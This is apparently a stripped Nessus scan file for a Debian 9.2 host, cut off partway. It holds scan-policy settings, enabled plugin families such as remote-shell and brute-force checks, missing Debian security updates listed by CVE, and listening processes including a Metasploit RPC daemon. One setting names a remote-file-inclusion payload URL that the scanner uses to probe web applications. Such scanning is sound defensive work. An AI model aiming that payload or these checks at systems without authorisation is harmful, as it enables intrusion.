Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.edu + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.edu + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +WatchGuard Compliance Checks +86269 +WatchGuard Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +60 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +Port scanners +mixed + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Palo Alto Local Security Checks +enabled + +Junos Local Security Checks +enabled + +Settings +enabled + +Gentoo Local Security Checks +enabled + +Amazon Linux Local Security Checks +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +Red Hat Local Security Checks +enabled + +CentOS Local Security Checks +enabled + +CISCO +enabled + +Scientific Linux Local Security Checks +enabled + +AIX Local Security Checks +enabled + +Ubuntu Local Security Checks +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +MacOS X Local Security Checks +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Brute force attacks +enabled + +Databases +enabled + +HP-UX Local Security Checks +enabled + +SMTP problems +enabled + +OracleVM Local Security Checks +enabled + +Oracle Linux Local Security Checks +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +Policy Compliance +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +Mandriva Local Security Checks +enabled + +Offsec Plugins Disabled +enabled + +Virtuozzo Local Security Checks +enabled + +F5 Networks Local Security Checks +enabled + +Huawei Local Security Checks +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +SuSE Local Security Checks +enabled + +DNS +enabled + +Fedora Local Security Checks +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Debian Local Security Checks +enabled + +VMware ESX Local Security Checks +enabled + +Denial of Service +enabled + +Solaris Local Security Checks +enabled + +FreeBSD Local Security Checks +enabled + +Slackware Local Security Checks +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +87413 +Host Tagging +Settings +enabled + + + + + +Wed Apr 4 15:00:09 2018 +1522846809 +Advanced Scan +46 +CVE-2018-5750, CVE-2017-8824, CVE-2017-5754, CVE-2017-5715, CVE-2017-17864, CVE-2017-17863, CVE-2017-17862, CVE-2017-17807, CVE-2017-17806, CVE-2017-17805, CVE-2017-17741, CVE-2017-17712, CVE-2017-17558, CVE-2017-17450, CVE-2017-17449, CVE-2017-17448, CVE-2017-16995, CVE-2017-16644, CVE-2017-16538, CVE-2017-13166, CVE-2017-1000410, CVE-2017-1000407 +22 +Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre): Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. +CVE-2017-14633, CVE-2017-14632 +2 +Debian DSA-4113-1 : libvorbis - security update: Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. +CVE-2018-6789 +1 +Debian DSA-4110-1 : exim4 - security update: Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. +CVE-2018-6003, CVE-2017-10790 +2 +Debian DSA-4106-1 : libtasn1-6 - security update: Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. +0 +Debian DSA-4100-1 : tiff - security update: Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. +CVE-2018-1000007, CVE-2018-1000005 +2 +Debian DSA-4098-1 : curl - security update: Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. +CVE-2017-3145 +1 +Debian DSA-4089-1 : bind9 - security update: Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. +CVE-2017-1000422 +1 +Debian DSA-4088-1 : gdk-pixbuf - security update: Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. +CVE-2017-15412 +1 +Debian DSA-4086-1 : libxml2 - security update: Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. +CVE-2017-17512 +1 +Debian DSA-4071-1 : sensible-utils - security update: Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. +CVE-2017-17434, CVE-2017-17433, CVE-2017-16548 +3 +Debian DSA-4068-1 : rsync - security update: Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. +CVE-2017-3738, CVE-2017-3737 +2 +Debian DSA-4065-1 : openssl1.0 - security update: Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. +CVE-2017-16612 +1 +Debian DSA-4059-1 : libxcursor - security update: Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. +cpe:/o:linux:linux_kernel +linux +SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1 +cpe:/a:openbsd:openssh:7.4 +cpe:/o:debian:debian_linux:9.2 +general-purpose +Linux Kernel 4.9.0-4-amd64 on Debian 9.2 +74073142-C0C0-67BE-AF1A-47383DD3DBE7 +00:50:56:b1:64:78 +abcvy031 +80789c282ddd46cd82a86dcf015fc865 +true +local +127.0.0.1 +localhost +Wed Apr 4 14:28:53 2018 + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 1196 + Executable : /root/.rbenv/versions/2.4.3/bin/ruby + Command line : msfrpcd + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 680 + Executable : /var/lib/udf/.rbenv/versions/2.5.0/bin/ruby + Command line : ruby /var/lib/udf/url_dup_filter/lib/url_dup_filter.rb + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 686 + Executable : /opt/nessus/sbin/nessusd + Command line : nessusd -q + + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or AIX. +process_on_port.nasl +2017/08/28 +Remote listeners enumeration (Linux / AIX) +2007/05/16 +local +None +1.20 +n/a +Using the supplied credentials, it was possible to identify the process listening on the remote port. + + Process ID : 695 + Executable : /usr/lib/postgresql/9.6/bin/postgres + Command line : /usr/lib/postgresql/9.6/bin/postgres -D /var/lib/postgresql/9.6/main -c config_file=/etc/postgresql/9.6/main/postgresql.conf + + + +cpe:/a:postgresql:postgresql +The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB. +postgresql_detect.nasl +2013/02/14 +PostgreSQL Server Detection +2007/09/14 +remote +None +$Revision: 1.14 $ +http://www.postgresql.org/ +Limit incoming traffic to this port if desired. +A database service is listening on the remote host. + + +unix +By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port. + +Note that the method used by this plugin only works for hosts running Linux or 